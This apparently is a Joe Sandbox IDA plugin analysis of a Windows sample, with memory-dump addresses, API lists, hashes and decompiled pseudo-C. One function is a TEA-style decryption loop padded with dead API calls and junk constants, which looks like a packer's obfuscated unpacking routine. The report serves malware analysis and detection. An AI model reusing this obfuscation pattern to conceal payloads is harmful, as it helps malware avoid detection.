0x00409bd2
0x00409bd8
0x00409bde
0x00409be4
0x00409bea
0x00409bf1
0x00409bf8
0x00409bff
0x00409c06
0x00409c0d
0x00409c14
0x00409c15
0x00409c1e
0x00409c26
0x00409c2e
0x00409c39
0x00409c43
0x00409c48
0x00409c4d
0x00409c57
0x00409c61
0x00409c66
0x00409c6c
0x00409c71
0x00409c7d
0x00409c82
0x00409c84
0x00409c8c
0x00409c97
0x00409ca4
0x00409ca6
0x00409ca8
0x00409cad
0x00409cc1

APIs

IsDebuggerPresent.KERNEL32 ref: 00409C77
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00409C8C
UnhandledExceptionFilter.KERNEL32(0041447C), ref: 00409C97
GetCurrentProcess.KERNEL32(C0000409), ref: 00409CB3
TerminateProcess.KERNEL32(00000000), ref: 00409CBA

Memory Dump Source

Source File: 00000019.00000002.372953677.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.372932639.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.372987587.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.373039286.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373057118.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373076786.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373090571.000000000043B000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373107435.0000000000442000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_3D67.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 0cc019ad7f805795ac85b7f27cf3667cf8bbccd2ef381b65c890ec8d9a600d49
Instruction ID: 20545a5410f23ea1e6ac0df8d0620c9ed1a579425cbbf6ca7523eb4f356a9569
Opcode Fuzzy Hash: 0cc019ad7f805795ac85b7f27cf3667cf8bbccd2ef381b65c890ec8d9a600d49
Instruction Fuzzy Hash: 0821CCB48003089FDB09EF25FC457847BE8FB48305F50647AE6089B3A1E7B45A848F8D

Uniqueness

Uniqueness Score: -1.00%

Function 0040106C, Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 242
sleepthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040106C() {
				unsigned int* _t161;
				intOrPtr _t163;
				intOrPtr _t164;
				intOrPtr _t167;
				intOrPtr _t168;
				intOrPtr _t169;
				long _t175;
				signed int _t179;
				unsigned int* _t184;
				void* _t192;
				signed int _t197;
				signed int _t211;
				signed int _t212;
				intOrPtr* _t215;
				void* _t217;

				_t215 = _t217 - 0x74;
				_t161 =  *(_t215 + 0x7c);
				 *(_t215 + 0x70) =  *_t161;
				 *(_t215 - 0x16c) = _t161[1];
				if( *0x43ed4c == 0xee) {
					Sleep(0);
					CreateThread(0, 0, 0, 0, 0, 0);
					GetStringTypeW(0, 0, 0, 0);
				}
				_t163 =  *0x41a528; // 0x99504db1
				 *((intOrPtr*)(_t215 - 0x174)) = _t163;
				_t164 =  *0x41a52c; // 0xdfde7376
				 *((intOrPtr*)(_t215 - 0x184)) = _t164;
				 *((intOrPtr*)(_t215 + 0x68)) = 0;
				E00401065(_t215 + 0x68);
				_t192 =  *((intOrPtr*)(_t215 + 0x68)) + 0x21d;
				if( *0x43ed4c == 0xc8) {
					PrepareTape(0, 0, 0);
				}
				_t167 =  *0x41a530; // 0x363e8983
				 *((intOrPtr*)(_t215 - 0x180)) = _t167;
				_t168 =  *0x41a534; // 0xc3fec275
				 *((intOrPtr*)(_t215 - 0x17c)) = _t168;
				 *((intOrPtr*)(_t215 - 0x170)) = 0x20;
				do {
					 *((intOrPtr*)(_t215 + 0x64)) = 2;
					 *((intOrPtr*)(_t215 + 0x64)) =  *((intOrPtr*)(_t215 + 0x64)) + 3;
					_t211 =  *(_t215 + 0x70) << 4;
					if( *0x43ed4c == 0xc) {
						ReadConsoleInputW(0, _t215 - 0x1a0, 0, _t215 - 0x188);
					}
					_t169 =  *0x43ed4c;
					_t212 = _t211 +  *((intOrPtr*)(_t215 - 0x180));
					if(_t169 == 0xfa9) {
						 *0x43ed48 = 0xedeb2e40;
					}
					if(_t169 == 0x3eb) {
						 *0x43c114 = 0;
					}
					 *(_t215 + 0x6c) =  *(_t215 + 0x70) >> 5;
					_t175 =  *(_t215 + 0x6c) +  *((intOrPtr*)(_t215 - 0x17c)) ^ _t212 ^ _t192 +  *(_t215 + 0x70);
					 *0x43ed44 = 0x9150ce2e;
					 *(_t215 + 0x6c) = _t175;
					if( *0x43ed4c == 0x27) {
						InterlockedDecrement(_t215 - 0x18c);
						RaiseException(0, 0, 0, 0);
						_t175 =  *(_t215 + 0x6c);
					}
					 *(_t215 - 0x16c) =  *(_t215 - 0x16c) - _t175;
					if( *0x43ed4c == 0xc) {
						_t175 = GetLastError();
					}
					_t197 =  *(_t215 - 0x16c);
					_t179 = (_t197 >> 5) +  *((intOrPtr*)(_t215 - 0x184));
					 *(_t215 + 0x6c) = _t179;
					 *(_t215 - 0x178) = (_t197 << 0x00000004) +  *((intOrPtr*)(_t215 - 0x174)) ^ _t197 + _t192 ^ _t179;
					 *0x43c110 = 0;
					 *(_t215 + 0x70) =  *(_t215 + 0x70) -  *(_t215 - 0x178);
					 *((intOrPtr*)(_t215 - 0xc0)) = 0x58bfb700;
					 *((intOrPtr*)(_t215 - 0x100)) = 0xb7b3100;
					 *((intOrPtr*)(_t215 + 0x40)) = 0x22f7a0fa;
					 *((intOrPtr*)(_t215 - 4)) = 0x5f8d6f12;
					 *((intOrPtr*)(_t215 - 0x58)) = 0x3da0bd0c;
					 *((intOrPtr*)(_t215 - 0x44)) = 0x1087ed95;
					 *((intOrPtr*)(_t215 - 0x14c)) = 0x5c8ac66f;
					 *((intOrPtr*)(_t215 - 0x120)) = 0x2d497a6a;
					 *((intOrPtr*)(_t215 - 0x50)) = 0xb363ce9;
					 *((intOrPtr*)(_t215 - 0xf8)) = 0x72923bd1;
					 *((intOrPtr*)(_t215 - 0x7c)) = 0x6b593f5;
					 *((intOrPtr*)(_t215 - 0xb4)) = 0x17dbad6b;
					 *((intOrPtr*)(_t215 - 0xf0)) = 0x5244f954;
					 *((intOrPtr*)(_t215 - 8)) = 0x50dac3ea;
					 *((intOrPtr*)(_t215 - 0x12c)) = 0x487bde5c;
					 *((intOrPtr*)(_t215 + 0x48)) = 0xa733708;
					 *((intOrPtr*)(_t215 - 0x118)) = 0x3b2217e1;
					 *((intOrPtr*)(_t215 - 0xa0)) = 0x3ad48611;
					 *((intOrPtr*)(_t215 + 0x2c)) = 0x45e56c5f;
					 *((intOrPtr*)(_t215 - 0x98)) = 0x1ad1c0ab;
					 *((intOrPtr*)(_t215 - 0x104)) = 0x29549cb0;
					 *((intOrPtr*)(_t215 - 0xe8)) = 0x59f0f79a;
					 *((intOrPtr*)(_t215 - 0x90)) = 0x29e91f29;
					 *((intOrPtr*)(_t215 - 0x13c)) = 0x721e902e;
					 *((intOrPtr*)(_t215 - 0xe0)) = 0x4d15f5c6;
					 *((intOrPtr*)(_t215 - 0x3c)) = 0x6831fb04;
					 *((intOrPtr*)(_t215 - 0x5c)) = 0x3c255892;
					 *_t215 = 0x5816a642;
					 *((intOrPtr*)(_t215 - 0x154)) = 0x7ae9c89;
					 *((intOrPtr*)(_t215 + 0x54)) = 0x3fe3b511;
					 *((intOrPtr*)(_t215 + 0x50)) = 0x7e65d0c1;
					 *((intOrPtr*)(_t215 - 0x88)) = 0x2cb8ca30;
					 *((intOrPtr*)(_t215 + 8)) = 0x7000ce59;
					 *((intOrPtr*)(_t215 - 0xf4)) = 0x6dc6d44;
					 *((intOrPtr*)(_t215 - 0x164)) = 0x497f93f5;
					 *((intOrPtr*)(_t215 - 0xe4)) = 0x4e3080de;
					 *((intOrPtr*)(_t215 + 0x58)) = 0x6642cffb;
					 *((intOrPtr*)(_t215 + 4)) = 0x51ded34b;
					 *((intOrPtr*)(_t215 - 0x54)) = 0xf893257;
					 *((intOrPtr*)(_t215 - 0x48)) = 0x48ebaf87;
					 *((intOrPtr*)(_t215 - 0x34)) = 0x3a1b15c5;
					 *((intOrPtr*)(_t215 - 0x158)) = 0x2fc96ae9;
					 *((intOrPtr*)(_t215 - 0x80)) = 0x771f1d46;
					 *((intOrPtr*)(_t215 - 0x74)) = 0xf638532;
					 *((intOrPtr*)(_t215 + 0x5c)) = 0x22b6e9e1;
					 *((intOrPtr*)(_t215 + 0x34)) = 0xf8107c6;
					 *((intOrPtr*)(_t215 - 0x9c)) = 0xc977849;
					 *((intOrPtr*)(_t215 - 0x2c)) = 0x7a375fc2;
					 *((intOrPtr*)(_t215 - 0xd4)) = 0x222631ea;
					 *((intOrPtr*)(_t215 - 0xc4)) = 0x72e34194;
					 *((intOrPtr*)(_t215 + 0x10)) = 0x53e810b;
					 *((intOrPtr*)(_t215 + 0x18)) = 0x765bd3bd;
					 *((intOrPtr*)(_t215 - 0xac)) = 0xfc2b546;
					 *((intOrPtr*)(_t215 + 0x20)) = 0x5a3570f9;
					 *((intOrPtr*)(_t215 - 0xd8)) = 0x799057b7;
					 *((intOrPtr*)(_t215 - 0x40)) = 0x7d8d8fad;
					 *((intOrPtr*)(_t215 + 0x68)) = 0x183b8b6c;
					 *((intOrPtr*)(_t215 - 0xb8)) = 0x208237f3;
					 *((intOrPtr*)(_t215 - 0x38)) = 0x37857544;
					 *((intOrPtr*)(_t215 + 0x28)) = 0x194d6bc7;
					 *((intOrPtr*)(_t215 - 0x14)) = 0x761e73a;
					 *((intOrPtr*)(_t215 - 0x30)) = 0x23b5b072;
					 *((intOrPtr*)(_t215 - 0x8c)) = 0x28dd809d;
					 *((intOrPtr*)(_t215 - 0x28)) = 0x4bae779b;
					 *((intOrPtr*)(_t215 + 0x3c)) = 0x31f852be;
					 *((intOrPtr*)(_t215 - 0xdc)) = 0x2d27aa;
					 *((intOrPtr*)(_t215 - 0xb0)) = 0x3b164838;
					 *((intOrPtr*)(_t215 - 0x138)) = 0x2828d0ee;
					 *((intOrPtr*)(_t215 + 0xc)) = 0x13bc3fda;
					 *((intOrPtr*)(_t215 - 0x11c)) = 0x32032ef2;
					 *((intOrPtr*)(_t215 - 0x140)) = 0x66131123;
					 *((intOrPtr*)(_t215 - 0x94)) = 0x5fd083d9;
					 *((intOrPtr*)(_t215 - 0x78)) = 0x5095c0f2;
					 *((intOrPtr*)(_t215 - 0x168)) = 0x191d2124;
					 *((intOrPtr*)(_t215 - 0x24)) = 0x26972506;
					 *((intOrPtr*)(_t215 - 0x160)) = 0x436837e6;
					 *((intOrPtr*)(_t215 - 0x110)) = 0x6e37dce0;
					 *((intOrPtr*)(_t215 + 0x44)) = 0x48ceb1ee;
					 *((intOrPtr*)(_t215 - 0x148)) = 0x135da928;
					 *((intOrPtr*)(_t215 + 0x14)) = 0x498338b7;
					 *((intOrPtr*)(_t215 - 0x4c)) = 0x1dcc46f6;
					 *((intOrPtr*)(_t215 - 0x108)) = 0x3725547b;
					 *((intOrPtr*)(_t215 - 0xbc)) = 0x5e007fae;
					 *((intOrPtr*)(_t215 - 0x134)) = 0x14444bb8;
					 *((intOrPtr*)(_t215 - 0x20)) = 0x69cfd0dc;
					 *((intOrPtr*)(_t215 - 0x1c)) = 0x31b82d41;
					 *((intOrPtr*)(_t215 - 0x150)) = 0x633ae043;
					 *((intOrPtr*)(_t215 - 0xa4)) = 0x5a8da93d;
					 *((intOrPtr*)(_t215 - 0x114)) = 0x55998bc1;
					 *((intOrPtr*)(_t215 - 0x6c)) = 0x4bdbdfa5;
					 *((intOrPtr*)(_t215 - 0xfc)) = 0x3a998bf2;
					 *((intOrPtr*)(_t215 - 0x130)) = 0x279d3dec;
					 *((intOrPtr*)(_t215 - 0x18)) = 0x66a87b65;
					 *((intOrPtr*)(_t215 + 0x4c)) = 0x22513e86;
					 *((intOrPtr*)(_t215 - 0xc)) = 0x9e3e723;
					 *((intOrPtr*)(_t215 + 0x30)) = 0x277c2432;
					 *((intOrPtr*)(_t215 - 0xa8)) = 0x3ed62a3;
					 *((intOrPtr*)(_t215 + 0x1c)) = 0x5171fe35;
					 *((intOrPtr*)(_t215 - 0x124)) = 0x25314484;
					 *((intOrPtr*)(_t215 - 0x70)) = 0x1665fe93;
					 *((intOrPtr*)(_t215 - 0x10c)) = 0x2162be98;
					 *((intOrPtr*)(_t215 - 0xd0)) = 0x55d5cb43;
					 *((intOrPtr*)(_t215 - 0x128)) = 0x598c0136;
					 *((intOrPtr*)(_t215 - 0x68)) = 0x6c22b187;
					 *((intOrPtr*)(_t215 - 0x10)) = 0x2fcaa1cc;
					 *((intOrPtr*)(_t215 + 0x24)) = 0x6167089e;
					 *((intOrPtr*)(_t215 - 0x84)) = 0x66f75803;
					 *((intOrPtr*)(_t215 - 0x60)) = 0x585cb709;
					 *((intOrPtr*)(_t215 - 0x64)) = 0x27007ca;
					 *((intOrPtr*)(_t215 + 0x60)) = 0x28381a77;
					 *((intOrPtr*)(_t215 - 0x144)) = 0x3808fdae;
					 *((intOrPtr*)(_t215 - 0xec)) = 0x4f9bfef4;
					 *((intOrPtr*)(_t215 + 0x38)) = 0x31e750c5;
					 *((intOrPtr*)(_t215 - 0x15c)) = 0x5713314d;
					 *((intOrPtr*)(_t215 - 0xc8)) = 0x43138e95;
					 *((intOrPtr*)(_t215 - 0xcc)) = 0x126a3b55;
					_t192 = _t192 + 0x61c88647;
					_t155 = _t215 - 0x170;
					 *_t155 =  *((intOrPtr*)(_t215 - 0x170)) - 1;
				} while ( *_t155 != 0);
				_t184 =  *(_t215 + 0x7c);
				 *_t184 =  *(_t215 + 0x70);
				_t184[1] =  *(_t215 - 0x16c);
				return _t184;
			}

0x0040106d
0x00401077
0x0040108e
0x00401091
0x00401097
0x0040109a
0x004010a6
0x004010b0
0x004010b0
0x004010b6
0x004010bb
0x004010c1
0x004010c6
0x004010cf
0x004010d2
0x004010da
0x004010ea
0x004010ef
0x004010ef
0x004010f5
0x004010fa
0x00401100
0x00401105
0x0040110b
0x00401115
0x00401115
0x0040111c
0x00401123
0x0040112d
0x0040113f
0x0040113f
0x00401145
0x0040114a
0x00401155
0x00401157
0x00401157
0x00401166
0x00401168
0x00401168
0x0040117a
0x0040118a
0x00401193
0x0040119d
0x004011a0
0x004011a9
0x004011b3
0x004011b9
0x004011b9
0x004011bc
0x004011c9
0x004011cb
0x004011cb
0x004011d6
0x004011ec
0x004011f8
0x004011fb
0x00401201
0x0040120d
0x00401210
0x0040121a
0x00401224
0x0040122b
0x00401232
0x00401239
0x00401240
0x0040124a
0x00401254
0x0040125b
0x00401265
0x0040126c
0x00401276
0x00401280
0x00401287
0x00401291
0x00401298
0x004012a2
0x004012ac
0x004012b3
0x004012bd
0x004012c7
0x004012d1
0x004012db
0x004012e5
0x004012ef
0x004012f6
0x004012fd
0x00401304
0x0040130e
0x00401315
0x0040131c
0x00401326
0x0040132d
0x00401337
0x00401341
0x0040134b
0x00401352
0x00401359
0x00401360
0x00401367
0x0040136e
0x00401378
0x0040137f
0x00401386
0x0040138d
0x00401394
0x0040139e
0x004013a5
0x004013af
0x004013b9
0x004013c0
0x004013c7
0x004013d1
0x004013d8
0x004013e2
0x004013e9
0x004013f0
0x004013fa
0x00401401
0x00401408
0x0040140f
0x00401416
0x00401420
0x00401427
0x0040142e
0x00401438
0x00401442
0x0040144c
0x00401453
0x0040145d
0x00401467
0x00401471
0x00401478
0x00401482
0x00401489
0x00401493
0x0040149d
0x004014a4
0x004014ae
0x004014b5
0x004014bc
0x004014c6
0x004014d0
0x004014da
0x004014e1
0x004014e8
0x004014f2
0x004014fc
0x00401506
0x0040150d
0x00401517
0x00401521
0x00401528
0x0040152f
0x00401536
0x0040153d
0x00401547
0x0040154e
0x00401558
0x0040155f
0x00401569
0x00401573
0x0040157d
0x00401584
0x0040158b
0x00401592
0x0040159c
0x004015a3
0x004015aa
0x004015b1
0x004015bb
0x004015c5
0x004015cc
0x004015d6
0x004015e0
0x004015ea
0x004015f0
0x004015f0
0x004015f0
0x004015ff
0x00401603
0x0040160c
0x00401614

APIs

Sleep.KERNEL32(00000000,?,00000000,?), ref: 0040109A
CreateThread.KERNEL32 ref: 004010A6
GetStringTypeW.KERNEL32(00000000,00000000,00000000,00000000), ref: 004010B0
PrepareTape.KERNEL32 ref: 004010EF
ReadConsoleInputW.KERNEL32(00000000,?,00000000,?,?,00000000,?), ref: 0040113F
InterlockedDecrement.KERNEL32(?), ref: 004011A9
RaiseException.KERNEL32(00000000,00000000,00000000,00000000), ref: 004011B3
GetLastError.KERNEL32(?,00000000,?), ref: 004011CB

Strings

{T%7, xrefs: 004014BC
1&", xrefs: 004013A5
#, xrefs: 0040152F
jzI-, xrefs: 0040124A
7hC, xrefs: 00401489
C:c, xrefs: 004014E8
_lE, xrefs: 004012AC
2$|', xrefs: 00401536

Memory Dump Source

Source File: 00000019.00000002.372953677.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.372932639.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.372987587.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.373039286.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373057118.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373076786.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373090571.000000000043B000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373107435.0000000000442000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_3D67.jbxd

Similarity

API ID: ConsoleCreateDecrementErrorExceptionInputInterlockedLastPrepareRaiseReadSleepStringTapeThreadType
String ID: #$2$|'$C:c$_lE$jzI-${T%7$1&"$7hC
API String ID: 3471058424-3331452201
Opcode ID: 4f8ca7cef599721a23a416e9c559838f1dded5b5ea13f02ab7208c656106bac9
Instruction ID: e22d0b5d29f1953f16f5b49f5bad2699cd5cc41bbad0b472a88ef53be15bb9f1
Opcode Fuzzy Hash: 4f8ca7cef599721a23a416e9c559838f1dded5b5ea13f02ab7208c656106bac9
Instruction Fuzzy Hash: E7E1FDB0805368DFDB24CF96DD84ADEBBB0FB49704F1086A9E8196B311C7358A86CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00401617, Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 67
timenetworkCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401617() {
				char _v8;
				long _v12;
				void _v1036;
				char _v2060;
				char _v3084;
				char _v4108;
				char _v6156;
				unsigned int _t11;
				void* _t12;
				unsigned int _t27;
				intOrPtr _t29;
				intOrPtr _t31;

				E00410870(0x1808);
				_t29 =  *0x43e838;
				_t11 =  *0x43ed4c >> 3;
				if(_t11 > 0) {
					_t31 = _t29;
					_t27 = _t11;
					do {
						if( *0x43ed4c == 0xae9) {
							SetFileTime(0, 0, 0, 0);
							__imp__DnsHostnameToComputerNameA("yujacom",  &_v4108,  &_v8);
							__imp__GetLongPathNameW(L"sowijegucunuwelumegugenemonopehecebozececopiduporaneganebetasohuwihajanojuh",  &_v6156, 0);
							GetFileType(0);
							ReadConsoleW(0,  &_v1036, 0,  &_v12, 0);
							__imp__GetConsoleAliasesLengthW(0);
							SetConsoleTitleW(L"kepamufugimuceputolomibuwufixijuwakijaxitaduza");
							GetModuleFileNameA(0,  &_v2060, 0);
							GetProfileSectionA("yazusupuxifojemevaxatomoworokavorecojesoc",  &_v3084, 0);
						}
						_push(_t31);
						_t12 = E0040106C();
						_t31 = _t31 + 8;
						_t27 = _t27 - 1;
					} while (_t27 != 0);
					return _t12;
				}
				return _t11;
			}

0x0040161f
0x00401629
0x00401630
0x00401637
0x0040163f
0x00401641
0x00401643
0x0040164d
0x00401657
0x0040166d
0x00401680
0x00401687
0x0040169b
0x004016a2
0x004016ad
0x004016bc
0x004016cf
0x004016cf
0x004016d5
0x004016d6
0x004016db
0x004016de
0x004016de
0x00000000
0x004016e6
0x004016e9

APIs

SetFileTime.KERNEL32(00000000,00000000,00000000,00000000), ref: 00401657
DnsHostnameToComputerNameA.KERNEL32 ref: 0040166D
GetLongPathNameW.KERNEL32(sowijegucunuwelumegugenemonopehecebozececopiduporaneganebetasohuwihajanojuh,?,00000000), ref: 00401680
GetFileType.KERNEL32(00000000), ref: 00401687
ReadConsoleW.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040169B
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 004016A2
SetConsoleTitleW.KERNEL32(kepamufugimuceputolomibuwufixijuwakijaxitaduza), ref: 004016AD
GetModuleFileNameA.KERNEL32(00000000,?,00000000), ref: 004016BC
GetProfileSectionA.KERNEL32(yazusupuxifojemevaxatomoworokavorecojesoc,?,00000000), ref: 004016CF

Strings

yujacom, xrefs: 00401668
sowijegucunuwelumegugenemonopehecebozececopiduporaneganebetasohuwihajanojuh, xrefs: 0040167B
yazusupuxifojemevaxatomoworokavorecojesoc, xrefs: 004016CA
kepamufugimuceputolomibuwufixijuwakijaxitaduza, xrefs: 004016A8

Memory Dump Source

Source File: 00000019.00000002.372953677.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.372932639.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.372987587.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.373039286.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373057118.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373076786.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373090571.000000000043B000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373107435.0000000000442000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_3D67.jbxd

Similarity

API ID: ConsoleFileName$AliasesComputerHostnameLengthLongModulePathProfileReadSectionTimeTitleType
String ID: kepamufugimuceputolomibuwufixijuwakijaxitaduza$sowijegucunuwelumegugenemonopehecebozececopiduporaneganebetasohuwihajanojuh$yazusupuxifojemevaxatomoworokavorecojesoc$yujacom
API String ID: 3522130835-16586494
Opcode ID: 78d6d6cf21d3899dfd64cf0dfe28447163d251807e01e41db7f248b887495193
Instruction ID: dfe942f8de2cb680035f50eae56997789cbcdc1ec4472fe604bb2480c28c26fb
Opcode Fuzzy Hash: 78d6d6cf21d3899dfd64cf0dfe28447163d251807e01e41db7f248b887495193
Instruction Fuzzy Hash: C9115EB6502128BBD710AB95ED48DEF7BBCEF4E302B004062F606E2154DA345B85CBBD

Uniqueness

Uniqueness Score: -1.00%

Function 00409212, Relevance: 9.0, APIs: 6, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E00409212(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t48;
				intOrPtr _t57;
				void* _t58;
				void* _t61;

				_t61 = __eflags;
				_t53 = __edx;
				_push(0x2c);
				_push(0x417b20);
				E00404BF4(__ebx, __edi, __esi);
				_t48 = __ecx;
				_t55 =  *((intOrPtr*)(_t58 + 0xc));
				_t57 =  *((intOrPtr*)(_t58 + 8));
				 *((intOrPtr*)(_t58 - 0x1c)) = __ecx;
				 *(_t58 - 0x34) =  *(_t58 - 0x34) & 0x00000000;
				 *((intOrPtr*)(_t58 - 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t58 + 0xc)) - 4));
				 *((intOrPtr*)(_t58 - 0x28)) = E00403686(_t58 - 0x3c,  *((intOrPtr*)(_t57 + 0x18)));
				 *((intOrPtr*)(_t58 - 0x2c)) =  *((intOrPtr*)(E00407D3A(__ecx, __edx, _t55, _t61) + 0x88));
				 *((intOrPtr*)(_t58 - 0x30)) =  *((intOrPtr*)(E00407D3A(_t48, __edx, _t55, _t61) + 0x8c));
				 *((intOrPtr*)(E00407D3A(_t48, _t53, _t55, _t61) + 0x88)) = _t57;
				 *((intOrPtr*)(E00407D3A(_t48, _t53, _t55, _t61) + 0x8c)) =  *((intOrPtr*)(_t58 + 0x10));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *((intOrPtr*)(_t58 + 0x10)) = 1;
				 *(_t58 - 4) = 1;
				 *((intOrPtr*)(_t58 - 0x1c)) = E0040372B(_t55,  *((intOrPtr*)(_t58 + 0x14)), _t48,  *((intOrPtr*)(_t58 + 0x18)),  *((intOrPtr*)(_t58 + 0x1c)));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *(_t58 - 4) = 0xfffffffe;
				 *((intOrPtr*)(_t58 + 0x10)) = 0;
				E00409338(_t48, _t53, _t55, _t57, _t61);
				return E00404C39( *((intOrPtr*)(_t58 - 0x1c)));
			}

0x00409212
0x00409212
0x00409212
0x00409214
0x00409219
0x0040921e
0x00409220
0x00409223
0x00409226
0x00409229
0x00409230
0x00409241
0x0040924f
0x0040925d
0x00409265
0x00409273
0x00409279
0x00409280
0x00409283
0x00409299
0x0040929c
0x00409311
0x00409318
0x0040931f
0x0040932c

APIs

__CreateFrameInfo.LIBCMT ref: 0040923A

Part of subcall function 00403686: __getptd.LIBCMT ref: 00403694
Part of subcall function 00403686: __getptd.LIBCMT ref: 004036A2

__getptd.LIBCMT ref: 00409244

Part of subcall function 00407D3A: __getptd_noexit.LIBCMT ref: 00407D3D
Part of subcall function 00407D3A: __amsg_exit.LIBCMT ref: 00407D4A

__getptd.LIBCMT ref: 00409252
__getptd.LIBCMT ref: 00409260
__getptd.LIBCMT ref: 0040926B
_CallCatchBlock2.LIBCMT ref: 00409291

Part of subcall function 0040372B: __CallSettingFrame@12.LIBCMT ref: 00403777

Part of subcall function 00409338: __getptd.LIBCMT ref: 00409347
Part of subcall function 00409338: __getptd.LIBCMT ref: 00409355

Memory Dump Source

Source File: 00000019.00000002.372953677.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.372932639.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.372987587.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.373039286.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373057118.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373076786.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373090571.000000000043B000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373107435.0000000000442000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_3D67.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 760f68926b80c22b776f757f4e15157354e55060bc1a6f3418a18f14c836329c
Instruction ID: 2176d10ee4996d933e51172069bdf993711a9ae43fe21c5eeb05b0751f13fb98
Opcode Fuzzy Hash: 760f68926b80c22b776f757f4e15157354e55060bc1a6f3418a18f14c836329c
Instruction Fuzzy Hash: D511F9B1D042099FDB00EFA5C445AED7BB0FF48319F50846AF854A7291DB3C9A129F69

Uniqueness

Uniqueness Score: -1.00%

Function 00408F61, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00408F61(void* __edx, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				void* __ebp;
				intOrPtr* _t15;
				intOrPtr* _t18;
				void* _t22;
				void* _t24;

				_t23 = __edx;
				_t30 =  *((intOrPtr*)( *_a4)) - 0xe0434f4d;
				if( *((intOrPtr*)( *_a4)) == 0xe0434f4d) {
					__eflags =  *((intOrPtr*)(E00407D3A(_t22, __edx, _t24, __eflags) + 0x90));
					if(__eflags > 0) {
						_t15 = E00407D3A(_t22, __edx, _t24, __eflags) + 0x90;
						 *_t15 =  *_t15 - 1;
						__eflags =  *_t15;
					}
					goto L9;
				} else {
					__eflags = __eax - 0xe06d7363;
					if(__eflags != 0) {
						L9:
						__eflags = 0;
						return 0;
					} else {
						 *(E00407D3A(__ebx, __edx, __edi, __eflags) + 0x90) =  *(__eax + 0x90) & 0x00000000;
						_push(8);
						_push(0x417820);
						E00404BF4(_t22, _t24, __esi);
						_t18 =  *((intOrPtr*)(E00407D3A(_t22, __edx, _t24, _t30) + 0x78));
						if(_t18 != 0) {
							_v8 = _v8 & 0x00000000;
							 *_t18();
							_v8 = 0xfffffffe;
						}
						return E00404C39(E0040795C(_t22, _t23, _t24));
					}
				}
			}

0x00408f61
0x00408f6d
0x00408f72
0x00408f91
0x00408f98
0x00408f9f
0x00408fa4
0x00408fa4
0x00408fa4
0x00000000
0x00408f74
0x00408f74
0x00408f79
0x00408fa6
0x00408fa6
0x00408fa9
0x00408f7b
0x00408f80
0x00402c72
0x00402c74
0x00402c79
0x00402c83
0x00402c88
0x00402c8a
0x00402c8e
0x00402c99
0x00402c99
0x00402caa
0x00402caa
0x00408f79

APIs

__getptd.LIBCMT ref: 00408F7B

Part of subcall function 00407D3A: __getptd_noexit.LIBCMT ref: 00407D3D
Part of subcall function 00407D3A: __amsg_exit.LIBCMT ref: 00407D4A

__getptd.LIBCMT ref: 00408F8C
__getptd.LIBCMT ref: 00408F9A

Strings

MOC, xrefs: 00408F6D
csm, xrefs: 00408F74

Memory Dump Source

Source File: 00000019.00000002.372953677.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.372932639.0000000000400000.00000002.00020000.sdmp Download File
